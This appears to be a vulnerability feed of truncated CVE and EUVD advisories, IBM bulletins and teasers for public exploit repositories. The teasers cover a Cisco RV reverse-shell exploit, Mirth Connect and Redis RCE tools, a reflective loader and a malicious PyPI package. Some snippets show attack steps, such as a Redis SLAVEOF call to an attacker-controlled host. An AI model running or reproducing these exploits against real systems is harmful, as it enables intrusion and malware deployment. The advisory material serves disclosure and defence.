EUVD-2026-63884

A security flaw has been discovered in Comfast CF-N1-S 2.6.0.1. Affected by this issue is the function system of the file /cgi-bin/mbox-config?method=SET&section=ntptimezone. The manipulation of the argument timestr results in command injection. The attack can be launched remotely. The exploit ha...

CVE-2026-77683 Comfast CF-N1-S mbox-config system command injection

A security flaw has been discovered in Comfast CF-N1-S 2.6.0.1. Affected by this issue is the function system of the file /cgi-bin/mbox-config?method=SET&section=ntptimezone. The manipulation of the argument timestr results in command injection. The attack can be launched remotely. The exploit ha...

EUVD-2026-63876

A vulnerability was identified in CodeAstro Online Job Portal 1.0. Affected by this vulnerability is an unknown functionality of the file /users/update-profile.php. The manipulation of the argument Name leads to unrestricted upload. The attack can be initiated remotely. The exploit is publicly...

CVE-2026-77681

CodeAstro Online Job Portal 1.0 is affected by an unrestricted file upload vulnerability in the file /users/update-profile.php. Manipulation of the Name argument allows a remote, authenticated attacker (low privileges) to upload arbitrary files, leading to low impact on confidentiality, integrity...

CVE-2026-47827 CVE-2026-47827 – BOSH CLI Powershell Injection

Command Injection in BOSH CLI tool on windows in Cloud Foundry allows a remote attacker to execute arbitrary shell commands via command injection vulnerabilities...

EUVD-2026-63874

Command Injection in BOSH CLI tool on windows in Cloud Foundry allows a remote attacker to execute arbitrary shell commands via command injection vulnerabilities...

CVE-2026-47827

CVE-2026-47827 is a command injection vulnerability in the BOSH CLI tool (Cloud Foundry) on Windows , allowing a remote attacker to execute arbitrary shell commands via PowerShell injection. All versions prior to v2.840.0 are affected. The vulnerability requires an adjacent network position and h...

Security Bulletin: IBM Db2 and IBM Java SDK used by IBM Security Verify Governance contain multiple vulnerabilities

Summary IBM Security Verify Governance ISVG, now re-branded as IBM Verify Identity Governance IVIG, uses IBM Db2 database and IBM Java SDK. Information about security vulnerabilities affecting IBM Db2 and IBM Java SDK has been published in security bulletins. Vulnerability Details Refer to the...

CVE-2026-53790

A command injection vulnerability in rsync allows remote attackers to execute arbitrary commands by supplying shell metacharacters or newlines in unsanitized inputs, such as hostnames or hostspecs. This impacts multiple vectors—including the RSYNCCONNECTPROG variable, daemon hooks, rsync-ssl, and...

cisco-rv-rce-poc

CVE-2023-20048 — Cisco RV シリーズ PoC & Exploit ⚠ 警告: 認可されたテストのみ を対象としています。自分が所有していない、または書面による許可を得ていないシステムに対して使用しないでください。これはProof of Concept であり、認可されたテストのみ を目的としています。 これは何か 小さなリポジトリ: CiscoPoc.py — CVE-2023-20048 を確認するための無害な PoC CiscoRCE.py — 脆弱な form2ping.cgi を介してリバースシェルを試みるエクスプロイト 説明 このスクリプトは、Cisco...

Security Bulletin: IBM Spectrum Control is vulnerable to weaknesses related to IBM SDK, Java Technology Edition Quarterly CPU - Oct 2025 (CVE-2025-53066, CVE-2025-53057)

Summary IBM SDK, Java Technology Edition Quarterly CPU - Oct 2025 is vulnerable to a Exposure of Sensitive Information, Improper Access Control attacks. This vulnerability affects IBM Spectrum Control. Vulnerability Details CVEID:CVE-2025-53066 DESCRIPTION: An unspecified vulnerability in Java SE...

CVE-2026-63046

Apache InLong (versions 2.0.0 through before 2.4.0) is affected by an argument injection vulnerability in the Agent Installer's ModuleManager component. The root cause is that ExcuteLinux.exeCmd() executes arbitrary shell commands with no filtering or whitelist validation , allowing an authentica...

CVE-2026-63046 Apache InLong: Agent Installer — Command Injection to RCE via Default Credentials

Improper Neutralization of Argument Delimiters in a Command 'Argument Injection' vulnerability in Apache InLong. Agent Installer's ModuleManager executes arbitrary shell commands via ExcuteLinux.exeCmd with no filtering or whitelist validation. This issue affects Apache InLong: from 2.0.0 before...

CVE-2026-50112 Apache CloudStack: RCE and SSRF in direct download, metalink and NFS templates

SSRF via Metalink Mirror URL Resolution: An authenticated tenant can register a template pointing to an attacker-controlled metalink file containing internal targets. The Secondary Storage VM will retrieve the data and persist it as a template file, which can later be downloaded through normal...

CVE-2023-43208

Mirth Connect RCE - CVE-2023-43208 설명 Mirth Connect 원격 코드 실행RCE을 위한 PoC Mirth Connect 4.4.0 이하 버전이 XStream 역직렬화를 통해 영향을 받습니다. 요구 사항 g++ C++20 설치 root@kitploit: git clone https://github.com/Pegasus0xx/CVE-2023-43208.git && \ cd CVE-2023-43208 && \ make 사용법 root@kitploit: ./exploit 예제 리스너 시작...

MAL-2026-14349 Malicious code in boto4 (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector d3f621c5e2e8e94d1c8ae2ae176d4d882711536d25199df7a1cdddd410214faa setup.py defines a custom setuptools install command EjecutaElf that base64-decodes a 17MB embedded Linux ELF, writes it to /tmp/.systemd-helper,...

CVE-2026-53791

A flaw in rsync allows an unauthenticated remote attacker to bypass IP-based access controls by sending a crafted PROXY protocol header with a forged source IP address, granting unauthorized access to restricted resources. Mitigation Restrict rsync daemon TCP/873 to the trusted proxy only CME-202...

AtlasLdr

Atlasは、以下の機能を備えたリフレクティブx64ローダーです： 機能 リモートサーバーからのDLLおよびPEの取得 リモートプロセスへのマニュアルマッピング DOSヘッダーおよびNTヘッダーのマジックバイトの消去 位置独立コード 間接システムコールの使用 ZwOpenProcess ZwAllocateVirtualMemory ZwProtectVirtualMemory ZwQuerySystemInformation ZwFreeVirtualMemory ZwCreateThreadEx すべてのシステムコールに対する単一スタブ 動的SSN取得 動的システムコールアドレス解決...

SHIRO-721

SHIRO-721 RememberMe Padding Oracle 脆弱性 RCE 0x00 概要： RememberMe cookieはAES-128-CBCモードで暗号化されており、パディングオラクル攻撃の影響を受けやすくなっています。 攻撃者は有効なRememberMe cookieをPadding Oracle Attackのプレフィックスとして使用し、細工されたRememberMeを生成してJavaの逆シリアライズ攻撃（例: SHIRO-550）を実行できます。 0x01 問題の再現手順： 1. Webサイトにログインし、cookieからRememberMeを取得します。 ...

Redis-RCE

Redis-RCE redis4 및 redis5용 원격 코드 실행 python 코드 출처: https://github.com/Ridter/redis-rce so 파일을 로드하여 새 명령 system.exec를 확장함으로써 명령 실행 성공 strings explin.so |grep sys root@kitploit: system system.exec syserrlist.h sysnerr syserrlist syssiglist system.exec root@kitploit: 0x01 SLAVEOF 192.168.2.18 8989 0x...